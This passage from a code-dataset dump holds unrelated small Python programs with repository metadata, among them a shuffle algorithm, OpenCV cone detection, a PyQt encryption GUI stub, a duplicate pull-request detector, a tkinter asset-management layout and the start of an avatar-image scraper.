]\n","repo_name":"MattStammers/PyScript","sub_path":"pyscript-main/pyscriptjs/tests/integration/test_01_basic.py","file_name":"test_01_basic.py","file_ext":"py","file_size_in_byte":3063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"54415433","text":"\"\"\"\nSmall demonstration on fisher yates algorithm\n\"\"\"\nimport random\n\n\ndef get_random(floor, ceiling):\n \"\"\"\n Gets a random number between floor and ceiling\n :rerturn: randomly selected element in the range\n \"\"\"\n return random.randrange(floor, ceiling + 1)\n\n\ndef shuffle(the_list):\n \"\"\"\n Shuffles a list in_place, this means that the input list is destroyed\n Does not return anything, as the input list is destroyed and thus will be altered. Be careful\n when using this function, it has side-effects\n :param: the_list list being used to shuffle\n :return: None or the list itself if the list is length of 0 or 1\n :rtype: None\n \"\"\"\n # if the list is 0 or 1 in length, simply return it\n if len(the_list) <= 1:\n return the_list\n\n last_index_in_list = len(the_list) - 1\n\n # walk through the list from beginning to end\n for index_we_are_choosing in range(0, last_index_in_list):\n # choose a random not-yet-placed item to place there\n # (could also be the item currently in that spot)\n # must be an item AFTER the current item, because the stuff\n # before has all already been placed\n\n random_choice_index = get_random(index_we_are_choosing, last_index_in_list)\n\n # place our random choice in the spot by swapping\n if random_choice_index != index_we_are_choosing:\n the_list[index_we_are_choosing], the_list[random_choice_index] = (\n the_list[random_choice_index],\n the_list[index_we_are_choosing],\n )\n","repo_name":"BrianLusina/PythonSnips","sub_path":"algorithms/fisher_yates_shuffle/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"29669911249","text":"from . rest_helper import *\nfrom . globalValue import *\n\nimport json\n\n\ndef try_int_input(int_str):\n try:\n a = int(int_str)\n except Exception as e:\n return None\n return a\n\n\ndef try_json_input(json_str):\n try:\n # print(json_str)\n\n tmpdict = json.loads(json_str)\n # print(tmpdict)\n except Exception as e:\n return None\n return tmpdict\n\ndef try_json_file_input(json_file):\n try:\n fd = open(json_file)\n json_str = fd.read()\n fd.close()\n except Exception as e:\n return None\n return json_str\n\n######### trans_dict_to_op #######\n\n\ndef format_op_dict(path_value_dict):\n tmp_list = []\n for tmpkey in path_value_dict.keys():\n tmpvalue = path_value_dict[tmpkey]\n tmpdict = {\"op\" : \"replace\" , \"path\" : tmpkey , \"value\" : tmpvalue }\n tmp_list.append(tmpdict)\n return tmp_list\n\ndef get_path_to_value(prefix_str , src_dict):\n result_dict = {}\n for tmpkey in src_dict.keys():\n tmpvalue = src_dict[tmpkey]\n tmp_str = prefix_str + tmpkey\n if isinstance(tmpvalue , dict):\n result_dict.update(get_path_to_value(tmp_str + \"/\" , tmpvalue))\n else:\n result_dict.update({ tmp_str : tmpvalue })\n \n return result_dict\n\n\ndef trans_dict_to_path_value(src_dict):\n # path_value_dict = {}\n for tmpkey in src_dict.keys():\n if tmpkey == \"\":\n path_value_dict = { \"/\" : src_dict[tmpkey]}\n return path_value_dict\n\n path_value_dict = get_path_to_value(\"/\" , src_dict )\n # print(path_value_dict)\n return path_value_dict\n\n\ndef trans_dict_to_op(data , path):\n if path == \"\":\n exit(\"path is empty\")\n path_value_dict = {path : data}\n # print(path_value_dict)\n return format_op_dict(path_value_dict)\n \n \n######### ################ #######\n\n\n\ndef format_args(arguments):\n # resultdict = {\"params:\" : {} , \"data\" : {}}\n params = {}\n data = {}\n if arguments[\"--group\"] != None:\n params.update( { \"group\" : arguments[\"--group\"] })\n \n if arguments[\"--index\"] != None:\n params.update( { \"index\" : arguments[\"--index\"] })\n\n if arguments[\"--keys\"] != None:\n params.update( { \"keys\" : arguments[\"--keys\"] })\n\n if arguments[\"--type\"] != None:\n params.update( { \"type\" : arguments[\"--type\"] })\n \n if arguments[\"--depth\"] != None:\n params.update( { \"depth\" : arguments[\"--depth\"] })\n\n\n if arguments[\"--int-value\"]:\n if try_int_input(arguments[\"<patch_value>\"]) == None:\n exit(\"invalid int value : {0}\".format(arguments[\"<patch_value>\"]))\n data = int(arguments[\"<patch_value>\"])\n if arguments[\"--str-value\"]:\n data = arguments[\"<patch_value>\"]\n\n\n if arguments[\"--json\"]:\n json_str = arguments[\"<patch_value>\"]\n tmpdict = try_json_input( json_str ) \n if tmpdict == None:\n exit(\"invalid json string\")\n if isinstance( tmpdict , dict) == False:\n exit(\"invalid json string : input should be a dictionary\")\n data.update(tmpdict)\n \n if arguments[\"--json-file\"] : \n json_str = try_json_file_input(arguments[\"<json_file>\"])\n # here : if json str is None , tmpdict is None too\n tmpdict = try_json_input( json_str ) \n if tmpdict == None:\n exit(\"invalid json string\")\n if isinstance( tmpdict , dict) == False:\n exit(\"invalid json string : input should be a dictionary\")\n data.update(tmpdict)\n \n if arguments[\"patch\"]:\n tmpdata = trans_dict_to_op(data , arguments[\"<patch_path>\"])\n data = tmpdata\n\n\n return params , data\n \n\n\n\n''' \n if arguments[\"--json\"] : \n json_str = arguments[\"<json_str>\"]\n tmpdict = try_json_input( json_str ) \n if tmpdict == None:\n exit(\"invalid json string\")\n if isinstance( tmpdict , dict) == False:\n exit(\"invalid json string : input should be a dictionary\")\n\n data.update(tmpdict)\n \n if arguments[\"--json-file\"] : \n json_str = try_json_file_input(arguments[\"<json_file>\"])\n # here : if json str is None , tmpdict is None too\n tmpdict = try_json_input( json_str ) \n if tmpdict == None:\n exit(\"invalid json string\")\n if isinstance( tmpdict , dict) == False:\n exit(\"invalid json string : input should be a dictionary\")\n data.update(tmpdict)\n'''\n\n\n\n\n","repo_name":"asterfusion/Tapplet","sub_path":"sf_cli/sf_rest_cli/sfrestcli/sf_utils.py","file_name":"sf_utils.py","file_ext":"py","file_size_in_byte":4488,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"21836590836","text":"#!/usr/bin/env python3\n\nfrom multiprocessing import Pool\nimport numpy as np\nimport cv2\n\n# range for identifying blue cones in HSV\nbluRanges = [\n [(97, 78, 35), (130, 255, 100)], # regular cone blue\n [(112, 30, 30), (150, 80, 70)] # more of a dark gray\n]\n\n# range for identifying yellow cones in HSV\nylwRanges = [\n [(23, 60, 140), (32, 255, 255)]\n]\n\n# range for identifying orange cones in HSV\norgRanges = [\n [(0, 80, 110), (8, 180, 200)]\n]\n\nminOrgArea = 60 # only detect intersection when its cones are larger than this\n\n\ndef _findConesInImg(img, hsvRanges, minArea=0):\n cones = None\n for i in range(len(hsvRanges)):\n inRange = cv2.inRange(img, hsvRanges[i][0], hsvRanges[i][1])\n if i == 0: cones = inRange\n else: cones = cv2.bitwise_or(cones, inRange)\n\n kernel = np.ones((3, 3), np.uint8)\n erode = cv2.erode(cones, kernel, iterations=2)\n dilate = cv2.dilate(erode, kernel, iterations=2)\n\n _, contours, _ = cv2.findContours(dilate, cv2.RETR_EXTERNAL,\n cv2.CHAIN_APPROX_SIMPLE)\n conePos = []\n largeCones = False\n for contour in contours:\n x, y, w, h = cv2.boundingRect(contour)\n conePos.append((x + int(w/2), y + h))\n if w*h > minArea:\n largeCones = True\n conePos.sort(key=lambda pt: pt[1])\n\n if minArea > 0:\n return conePos, largeCones\n return conePos\n\ndef _findCarInImg(img):\n #find the black part, the range can be calibrated in the future\n inRange = cv2.inRange(img, (0, 0, 0, 0), (30, 30, 30, 30))\n\n kernel = np.ones((3, 3), np.uint8)\n dilate = cv2.dilate(inRange, kernel, iterations=12)\n\n _, contours, _ = cv2.findContours(dilate, cv2.RETR_TREE,\n cv2.CHAIN_APPROX_NONE)\n Flag_CarFound = False\n\n if len(contours) != 0:\n #find the biggest area\n contour_sizes = [(cv2.contourArea(contour), contour) for contour in contours]\n #to make it simple, guess the largest one is the target car\n biggest_contour = max(contour_sizes, key=lambda x: x[0])[1] \n\n #filter out the false positie\n if cv2.contourArea(biggest_contour) > 750: #2800 we may even set a maxmium limit according to the test\n Flag_CarFound = True\n \n return Flag_CarFound\n\npool = Pool(processes=2)\ndef processImage(img, atIntersection):\n img = img[200:480, 0:640] # remove the top of the image\n\n blur = cv2.GaussianBlur(img, (5, 5), 0)\n hsv = cv2.cvtColor(blur, cv2.COLOR_BGR2HSV)\n pts = np.array(((0, 280), (0, 170), (200, 130), (420, 135), (640, 190),\n (640, 280), (0, 280))).astype(np.int32)\n cv2.fillPoly(hsv, [pts], (0, 0, 0)) # black out the car\n\n if atIntersection:\n carHsv = hsv[0:130, 250:640]\n else:\n carHsv = hsv[0:130, 420:640]\n\n carRes = pool.apply_async(_findCarInImg, (carHsv,))\n bluRes = pool.apply_async(_findConesInImg, (hsv, bluRanges))\n ylwRes = pool.apply_async(_findConesInImg, (hsv, ylwRanges))\n orgRes = pool.apply_async(_findConesInImg, (hsv, orgRanges, minOrgArea))\n\n carFound = carRes.get(1000)\n bluCones = bluRes.get(1000)\n ylwCones = ylwRes.get(1000)\n orgCones, intersectionFound = orgRes.get(1000)\n\n return (bluCones, ylwCones, orgCones, img.shape[1], img.shape[0], carFound,\n intersectionFound)\n","repo_name":"nakulred1/autonomous-robots-kiwi-project","sub_path":"intersection/vision.py","file_name":"vision.py","file_ext":"py","file_size_in_byte":3282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21162076096","text":"up = 0\nlow = 0\nst = input(\"Nhập một chuỗi: \")\nfor i in st:\n if i.isupper():\n up += 1\n if i.islower():\n low += 1\nprint(\"Chữ hoa: \", up)\nprint(\"Chữ thường: \", low)\n\n#VIDU:\n#đầu vào là: Cafedev – Kênh Thông Tin IT\n#Thì đầu ra là:\n#Chữ hoa: 7\n#Chữ thường: 15","repo_name":"Ahn12111/BT_P4","sub_path":"BT_P4/test9.py","file_name":"test9.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9165547521","text":"import sys\nfrom unittest import result\nfrom PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QVBoxLayout, QLineEdit, QGroupBox, QLabel, QGridLayout, QTextEdit, QMainWindow\napp = QApplication(sys.argv)\nwindow = QWidget()#QMainWindow()b\nmainlayout = QGridLayout()\n\n# Create Encrypt Box\nencryptBox = QGroupBox('Encrypt')\npublicKeyLabel = QLabel('Public Key')\npublicKey = QLineEdit()\nencryptTextLabel = QLabel('Text to Encrypt')\nencryptText = QTextEdit()\nencryptButton = QPushButton('Click to Encrypt')\n# Layout Encrypt Box\nlayoutEncrypt = QVBoxLayout()\nlayoutEncrypt.addWidget(publicKeyLabel)\nlayoutEncrypt.addWidget(publicKey)\nlayoutEncrypt.addSpacing(10)\nlayoutEncrypt.addWidget(encryptTextLabel)\nlayoutEncrypt.addWidget(encryptText)\nlayoutEncrypt.addSpacing(20)\nlayoutEncrypt.addWidget(encryptButton)\nlayoutEncrypt.addStretch(1)\nencryptBox.setLayout(layoutEncrypt)\n\n# Create Decrypt Box\ndecryptBox = QGroupBox('Decrypt')\nprivateKeyLabel = QLabel('Private Key')\nprivateKey = QLineEdit()\ndecryptTextLabel = QLabel('Text to Decrypt')\ndecryptText = QTextEdit()\ndecryptButton = QPushButton('Click to Decrypt')\n# Layout Decrypt Box\nlayoutDecrypt = QVBoxLayout()\nlayoutDecrypt.addWidget(privateKeyLabel)\nlayoutDecrypt.addWidget(privateKey)\nlayoutDecrypt.addSpacing(10)\nlayoutDecrypt.addWidget(decryptTextLabel)\nlayoutDecrypt.addWidget(decryptText)\nlayoutDecrypt.addSpacing(20)\nlayoutDecrypt.addWidget(decryptButton)\nlayoutDecrypt.addStretch(1)\ndecryptBox.setLayout(layoutDecrypt)\n\n# Create Result Box\nresultBox = QGroupBox('Result')\nresultLabel = QTextEdit()\n# Layout Result Box\nlayoutResult = QVBoxLayout()\nlayoutResult.addWidget(resultLabel)\nlayoutResult.addStretch(1)\nresultBox.setLayout(layoutResult)\n\n# Layout Main Window\nmainlayout.addWidget(encryptBox, 0, 0)\nmainlayout.addWidget(decryptBox, 0, 1)\nmainlayout.addWidget(resultBox, 1, 0, 1, 2)\nmainlayout.setVerticalSpacing(30)\nwindow.setLayout(mainlayout)\n\n# # Action to Encrypt\n# encryptButton.clicked.connect(self.clickEncrypt)\n# def clickEncrypt(self):\n# self.resultLabel.setText(self.encryptText.text())\n\n# # Action to Decrypt\n# encryptButton.clicked.connect(self.clickDecrypt)\n# def clickDecrypt(self):\n# self.resultLabel.setText(self.decryptText.text())\n\nwindow.show()\napp.exec()\n\n# print('text to encrypt: ', encryptText.text())","repo_name":"izanamiah/soteris","sub_path":"encrypt-app.py","file_name":"encrypt-app.py","file_ext":"py","file_size_in_byte":2302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18238081059","text":"import os\nfrom sklearn.utils import shuffle\n\nfrom git import *\nfrom clf import *\nfrom comp import *\n\nfilter_big = True\n\ndef get_all_fork_list(repo):\n q = [api.get('repos/%s' % repo)]\n i = 0\n while i < len(q):\n try:\n if int(q[i]['forks_count']) > 0:\n t = get_fork_list(q[i]['full_name'])\n q += t\n except:\n q[i]['forks_count'] = 0\n\n i += 1\n return q\n \n\ndef detect_dup_pr_cross_repo(upstream, q, out_file):\n pr = {}\n num = 0\n tot_len = 0\n for branch in q:\n t = get_repo_info(branch['full_name'], 'pull')\n if len(t) > 0:\n pr[branch['full_name']] = t\n \n print('start on ', out_file)\n print('number of sub repo', len(pr))\n\n out = open(out_file, 'w')\n #out2 = open(out_file + '.log', 'a')\n\n c = classify()\n\n # init_model_with_repo(upstream)\n all_pr = []\n for b in pr:\n all_pr += shuffle(pr[b])[:2000]\n save_id = out_file.replace('/', '_').replace('.txt', '')\n init_model_with_pulls(all_pr, save_id)\n\n results = []\n\n for b1 in pr:\n for b2 in pr:\n if b1 < b2:\n if len(pr[b1]) > len(pr[b2]):\n b1, b2 = b2, b1\n\n for p1 in pr[b1]:\n if filter_big and check_too_big(p1):\n continue\n\n li = []\n for p2 in pr[b2]:\n if filter_big and check_too_big(p2):\n continue\n\n # print(p2['number'])\n\n if p1[\"user\"][\"id\"] == p2[\"user\"][\"id\"]:\n continue\n\n feature_vector = get_pr_sim_vector(p1, p2)\n\n t = [p1[\"html_url\"], p2[\"html_url\"], feature_vector, c.predict_proba([feature_vector])[0][1], \\\n p1[\"user\"][\"id\"] == p2[\"user\"][\"id\"], \\\n ]\n li.append(t)\n\n # print(t, file=out2)\n\n li = sorted(li, key=lambda x: x[3], reverse=True)\n if li[0][3] > 0.55:\n print(li[0])\n print(li[0], file=out)\n\n out.close()\n #out2.close()\n\n\ndef detect_on_pr(repo):\n out_file = 'evaluation/' + repo.replace('/', '_') + '_cross_forks.txt'\n\n if os.path.exists(out_file):\n return\n \n q = list(filter(lambda x: int(x['forks_count']) > 0, get_all_fork_list(repo)))\n \n '''\n q = [{'full_name': 'MarlinFirmware/Marlin'},\\\n {'full_name': 'Ultimaker/Ultimaker2Marlin'},\\\n {'full_name': 'RichCattell/Marlin'},\\\n {'full_name': 'jcrocholl/Marlin'}]\n '''\n detect_dup_pr_cross_repo(repo, q, out_file)\n\n\n'''\ndef detect_on_commit(repo):\n init_model_with_repo(repo)\n li = get_all_fork_list(repo)\n \n for t in li:\n r = t['full_name']\n if r == repo:\n continue\n \n branch_list = get_branch_list(r)\n''' \n \ndef run_cross_repo(r1, r2):\n q =[{'full_name': r1}, {'full_name': r2}]\n \n out_file = 'evaluation/' + (r1 + '_' + r2).replace('/', '_') + '_cross_forks_version2.txt'\n\n if os.path.exists(out_file) and (os.path.getsize(out_file) > 0):\n print('Already run before =', r1, r2)\n return\n\n detect_dup_pr_cross_repo(r2, q, out_file)\n \nif __name__ == \"__main__\":\n if len(sys.argv) == 3:\n r1 = sys.argv[1].strip()\n r2 = sys.argv[2].strip()\n run_cross_repo(r1, r2)\n sys.exit()\n\n hard_forks = open('data/hard_forks.txt').readlines()\n\n for repo_pair in hard_forks:\n r1, r2 = repo_pair.strip().split()\n run_cross_repo(r1, r2)\n \n\n '''\n if len(sys.argv) == 2:\n r = sys.argv[1].strip()\n detect_on_pr(r)\n else:\n t = open('data/repoList_morethan200PR.txt').readlines()\n # t = open('data/repoList_rly.txt').readlines()\n for repo in t:\n r = repo.strip()\n detect_on_pr(r)\n '''\n","repo_name":"luyaor/INTRUDE","sub_path":"detect_on_cross_forks.py","file_name":"detect_on_cross_forks.py","file_ext":"py","file_size_in_byte":4014,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"27088302048","text":"def convertmltodec(line):\n \n # To convert moneyline odds to decimal odds:\n # if the moneyline is positive, divide by 100 and add 1\n # if it is negative, divide 100 by the moneyline amount (without the minus sign) and add 1\n\n if line > 0:\n dec_odds = (line / 100) + 1\n return dec_odds\n else:\n dec_odds = (100 / (line * -1)) + 1\n return dec_odds\n ","repo_name":"jmholleran/cit-129-2019-fall","sub_path":"modules_lesson/mltodec.py","file_name":"mltodec.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24805465758","text":"\r\nimport os\r\n\r\nclass EmotionVocab():\r\n def __init__(self):\r\n self.label = '' #label_name\r\n self.words_id = [] #list of words id\r\n self.times = 0\r\n\r\n\r\nclass EmotionWord():\r\n def __init__(self):\r\n self.label_id = 0 #label id\r\n self.context = '' #what is the word\r\n self.times = 0\r\n\r\ndef is_number(str):\r\n if ord(str) >= ord('0') and ord(str) <= ord('9'):\r\n return True\r\n return False\r\n\r\ndef is_letter(str):\r\n if ord(str) >= ord('a') and ord(str) <= ord('z'):\r\n return True\r\n if ord(str) >= ord('A') and ord(str) <= ord('Z'):\r\n return True\r\n return False\r\n\r\ndef get_Emotion(emotion_path):\r\n Emotion_list = []\r\n Words_list = []\r\n main_path = emotion_path\r\n dir = os.listdir(main_path)\r\n dir.sort()\r\n for filename in dir:\r\n emotion = EmotionVocab()\r\n emotion.label = filename.split('.')[0]\r\n open_path = os.path.join(main_path, filename)\r\n f = open(open_path, 'r')\r\n for line in f.readlines():\r\n str = line.split()\r\n if len(str) == 0: continue\r\n if is_number(str[0][0]):\r\n word = ''\r\n for char in str[1]:\r\n if is_letter(char):\r\n word += char\r\n else:\r\n break\r\n emotion_word = EmotionWord()\r\n emotion_word.label_id = len(Emotion_list)\r\n emotion_word.context = word\r\n emotion.words_id.append(len(Words_list))\r\n Words_list.append(emotion_word)\r\n Emotion_list.append(emotion)\r\n return Emotion_list, Words_list\r\n\r\n","repo_name":"Tongji-MIC-Lab/EmVidCap","sub_path":"FT_v1/FT/caption-eval-master/caption-eval-master/Emotion-Eval/getEmationVocab.py","file_name":"getEmationVocab.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70816572091","text":"#!/usr/bin/pytho\n\nimport pandas as pand\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import accuracy_score\n\ndef load_data():\n df = pand.read_csv(\"yourfile1.csv\");\n return df\n\ndf = load_data()\ndf.drop(['dataId'],inplace=True, axis=1)\n\ncolumn_names = df.columns.values\nprint(len(column_names))\nindex = [len(column_names)-1]\n#index = [1,2,3,4,5,6,11]\nfeatures = np.delete(column_names, index)\n\n# separating 80% data for training\ntrain = df.sample(frac=0.8, random_state=1)\n#print(train)\n\n# rest 20% data for evaluation purpose\ntest = df.loc[~df.index.isin(train.index)]\n#print(test)\n\n#using the seperated 80% train data set devide the features and lables\nfeatures_train = train[features]\nlabels_train = train[\"result\"]\nfeatures_test = test[features]\nlabels_test = test[\"result\"]\n\n# runRate_lose = [features_train[0] for ii in range(0, len(features_train)) if labels_train==0]\n# powerPlayRuns_lose = [features_train[1] for ii in range(0, len(features_train)) if labels_train==0]\n# runRate_win = [features_train[0] for ii in range(0, len(features_train)) if labels_train==1]\n# powerPlayRuns_win = [features_train[1] for ii in range(0, len(features_train)) if labels_train==1]\n#\n# #### initial visualization\n# plt.xlim(0.0, 90.0)\n# plt.ylim(0.0, 15.0)\n# plt.scatter(powerPlayRuns_lose, runRate_lose, color = \"b\", label=\"lose\")\n# plt.scatter(powerPlayRuns_win, runRate_win, color = \"r\", label=\"win\")\n# plt.legend()\n# plt.xlabel(\"dots\")\n# plt.ylabel(\"runs\")\n# plt.show()\n# print(\"asdfasdf\")\n\nimport itertools as iter\n\ndef pset(lst):\n comb = (iter.combinations(lst, l) for l in range(len(lst) + 1))\n return list(iter.chain.from_iterable(comb))\n\nnewArray = pset(features)\nfrom sklearn.svm import SVC\nclf = SVC(kernel=\"rbf\", C=10000, gamma=1)\nprint(\"begin feature len\", len(newArray))\nmyList=[]\nfeatureArray = []\n\n#for num in range(0, len(newArray)-1): # Second Example\n\nnewArray = pset(features)#creating all possible combinations to array\nfor num in range(0, 1000):\n#for num in range(0, len(newArray)):\n print('Combination of :', newArray[num+1], ' number ', num)\n featureArray.append(newArray[num+1])\n features_train = train[np.asarray(newArray[num+1])]#selecting a combination of features\n labels_train = train[\"result\"]\n features_test = test[np.asarray(newArray[num + 1])]\n labels_test = test[\"result\"]\n clf.fit(features_train, labels_train)#fitting the data to learner\n predictions = clf.predict(features_test)#predicting for test data\n mse = accuracy_score(predictions, labels_test)\n # mse = mean_squared_error(predictions, labels_test)\n myList.append(mse)\n\n\n print(\"heee your done\")\n print(mse)\n\nprint(myList)\n\n\nmylist1 = list(range(len(myList)))\nprint(mylist1)\n\n#### initial visualization\nprint(featureArray)\nprint(features)\n#plt.xticks(x, my_xticks)\nplt.xlim(0.0, len(myList))\nplt.ylim(0.0, 1.0)\n#plt.scatter(mylist1, myList, color = \"b\", label=\"lose\")\nplt.plot(mylist1, myList, 'b-',label='Accuracy deviance')\n#plt.scatter(powerPlayRuns_win, runRate_win, color = \"r\", label=\"win\")\nplt.legend()\nplt.xlabel(\"possible combinations (1000)\")\nplt.ylabel(\"accuracy\")\nplt.show()\nprint(\"asdfasdf\")\n\n\nx = mylist1\ny = myList\n#x_ticks_labels = ['jan','feb','mar','apr','may']\nx_ticks_labels = features\n\nfig, ax = plt.subplots()\nfig.subplots_adjust(bottom=0.25)\nax.plot(x,y)\n\n# Set number of ticks for x-axis\nax.set_xticks(x)\n# Set ticks labels for x-axis\nax.set_xticklabels(x_ticks_labels, rotation='vertical', fontsize=10)\n# fig.suptitle('Deviation of Mean Square Error', fontsize=14)\nfig.suptitle('Deviation of accuracy', fontsize=14)\nplt.xlabel(\"single combinations\")\n#plt.ylabel(\"mean square error\")\nplt.ylabel(\"accuracy\")\nplt.show()\nprint(\"doneeee\")","repo_name":"gihanwijesinghe/FYP-PythonCode","sub_path":"Visualization&Classification/AccuracyOfFeatures.py","file_name":"AccuracyOfFeatures.py","file_ext":"py","file_size_in_byte":3781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6356203113","text":"from sqlite3 import Row\nimport tkinter as tk\nfrom tkinter.tix import COLUMN, ROW\nimport color as cl\n#####\nunit_list = [['活动室', '室部', '校对组', '一组', '编辑组', '一体化'],\n ['学习室', ' ', '打印室', '三组', '二组', '仓库']]\ncell_list = [\n [['无'], ['无2']], #'活动室'\n [['a1'], ['a2']], #'室部'\n [['1', '2', '3'], ['', '4', '5']], #'校对组'\n [['1', '2', '3', '4', '5'], ['6', '7', '8', '9', '阿斯顿啊']], #'一组'\n [['2', '0', '3', '4', '5'], ['6', '7', '8', '9', '阿斯顿啊']], # 编辑组\n [['12', '2', '3', '4', '5'], ['6', '7', '8', '9', '阿斯顿啊']], # 一体化\n [['无5'], ['学习室']], #'学习室'\n [['无7'], ['无8']], # 无\n [['gitlab', '123', '103'], ['T1300', 'T1200', 'T1100']], # 打印室\n [['15', '2', '3', '4', '5'], ['6', '7', '8', '9', '阿斯顿啊']], #'三组'\n [['81', '2', '3', '4', '5'], ['6', '7', '8', '9', '阿斯顿啊']], #'二组对组'\n [['19', '2', '3', '4', '5'], ['6', '7', '8', '9', '阿斯顿啊', 'uy']] #'仓库'\n]\n\n##############\n\nwin = tk.Tk()\nwin.title(\"资产管理\")\nwin.geometry('800x500+300+200') # 窗口创建位置是(300,200)\n######################################################################\n# 详细信息\n\narea2 = tk.LabelFrame(win,\n text='位置',\n labelanchor=\"n\",\n bg=cl.Gray,\n bd=5,\n height=150)\narea2.place(x=0, y=0)\n\nfor i in unit_list:\n for j in i:\n ck=tk.Checkbutton(area2, text=j)\n ck.grid(column=unit_list.index(i),row=i.index(j),sticky='w')\n ck.select()\n\n\n\n# 将 selectmode 设置为多选模式,并为Listbox控件添加滚动条\nlistbox1 =tk.Listbox(win,selectmode = tk.BROWSE,height =25)\n#listbox1.pack()\nlistbox1.place(x=10,y=200,width=150,relheight=0.6)\n# 设置滚动条,使用 yview使其在垂直方向上滚动 Listbox 组件的内容,通过绑定 Scollbar 组件的 command 参数实现\ns =tk. Scrollbar(listbox1)\nlistbox1.configure( yscrollcommand = s.set)\n# 设置垂直滚动条显示的位置,使得滚动条,靠右侧;通过 fill 沿着 Y 轴填充\ns.pack(side = tk.RIGHT,fill = tk.Y)\ns.config(command = listbox1.yview)\nfor i,item in enumerate(range(1,50)):\n listbox1.insert(i,item)\n\n\n\narea3 = tk.LabelFrame(win,\n text='详细信息',\n labelanchor=\"n\",\n bg=cl.Gray,\n bd=5,\n height=150)\narea3.place(x=200, y=0)\n\nfor i in unit_list:\n for j in i:\n ck=tk.Checkbutton(area3, text=j)\n ck.grid(column=unit_list.index(i),row=i.index(j),sticky='w')\n ck.select()\n\n\n\n\n\nclass class_button():\n\n def __init__(self, _frame, _user, _pos=[0, 1]):\n # 常量\n self.frame = _frame\n self.user = _user\n if self.user != '':\n self.button = tk.Button(self.frame, text=self.user, width=6)\n self.button.grid(row=_pos[0], column=_pos[1], padx=2, pady=10)\n\n pass\n\n\nclass class_group():\n\n def __init__(self, _title, _window, _pos: list):\n self.bg = '#5CACEE'\n self.frame = tk.LabelFrame(_window,\n text=_title,\n labelanchor=\"n\",\n bg=self.bg,\n bd=5,\n height=50)\n self.frame.grid(row=_pos[1], column=_pos[0], padx=2, pady=15)\n\n # button1=class_button(self.frame,'asd',[1,1])\n\n\nf = tk.Frame(win, width=600, height=600, bg='#5CAC00')\nunits = []\nfor i in unit_list:\n for j in i:\n x = i.index(j)\n y = unit_list.index(i)\n g = class_group(j, _window=area3, _pos=[x, y])\n units.append(g)\n print(g.frame.grid_info())\nunits[-1].frame.grid(row=2, column=0, columnspan=3)\ncells = []\nfor i in cell_list: # 组 in 组列表\n for j in i: # 排 in 组\n for k in j: # 人 in 排\n unit = units[cell_list.index(i)]\n x = i.index(j)\n y = j.index(k)\n c = class_button(unit.frame, k, [x, y])\n cells.append(c)\n\nwin.mainloop()","repo_name":"bmzk/my_python_program","sub_path":"资产管理/资产管理.py","file_name":"资产管理.py","file_ext":"py","file_size_in_byte":4221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19207925458","text":"class Solution:\n def longestPalindrome(self, s: str) -> str:\n length = len(s)\n if length < 2:\n return s\n odd_set = set(i for i in range(length))\n even_set = set(i for i in range(length - 1) if s[i] == s[i + 1])\n odd_length = 0\n even_length = 0\n tmp_set = set()\n \n for odd_length in range(1, length):\n for i in odd_set:\n if i >= odd_length and i < length - odd_length and s[i - odd_length] == s[i + odd_length]:\n tmp_set.add(i)\n if tmp_set:\n odd_set = tmp_set\n tmp_set=set()\n else:\n break\n \n odd_length -= 1\n \n for even_length in range(1, length):\n for i in even_set:\n if i >= even_length and i < length - even_length - 1 and s[i - even_length] == s[i + even_length +1]:\n tmp_set.add(i)\n if tmp_set:\n even_set = tmp_set\n tmp_set = set()\n else:\n break\n even_length -= 1\n print(odd_length, even_length)\n print(odd_set, even_set)\n if odd_set and odd_length > 0 and odd_length * 2 + 1 >= even_length * 2 + 2:\n index = odd_set.pop()\n return s[index - odd_length:index + odd_length + 1]\n elif even_set:\n index = even_set.pop()\n return s[index - even_length:index + even_length + 2]\n else:\n return s[0]\n","repo_name":"michaelhuo/pcp","sub_path":"5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32939487761","text":"import sys\n\ninput = sys.stdin.readline\n\nn = int(input())\nbuses = list(map(int, input().split()))\n\nanswer = 0\n\n# a3 < a1 < a2\nfor i in range(n-2):\n # a1이 1이 아닐 때\n if buses[i] != 1:\n # a1 뒤에서\n for j in range(i+1, n-i):\n # a1보다 큰 a2를 찾았을 때\n if buses[i] < buses[j]:\n # a1보다 작은 a3 후보군과 a2 뒤의 숫자들을 비교하여 개수 카운트\n # 1번 방법\n answer += len(set(range(1, buses[i])) & set(buses[j+1:]))\n# # for k in range(1, buses[i]):\n# # 2번 방법\n# if k in buses[j+1:]:\n# answer += 1\n# # 3번 방법\n# answer += buses[j+1:].count(k)\n\nprint(answer)","repo_name":"cascadeffect/coding-test","sub_path":"Softeer/commute_bus.py","file_name":"commute_bus.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74468653690","text":"#!usr/bin/python3\n\n\nimport requests,time\nfrom bs4 import BeautifulSoup\n\n\"\"\"\n http://www.woyaogexing.com/ 网站的头像图片爬取.\n\n\"\"\"\n\n\n\ndef icon_spiders(url,num):\n #主程序\n r=requests.get(url)\n if r.status_code == 200:\n 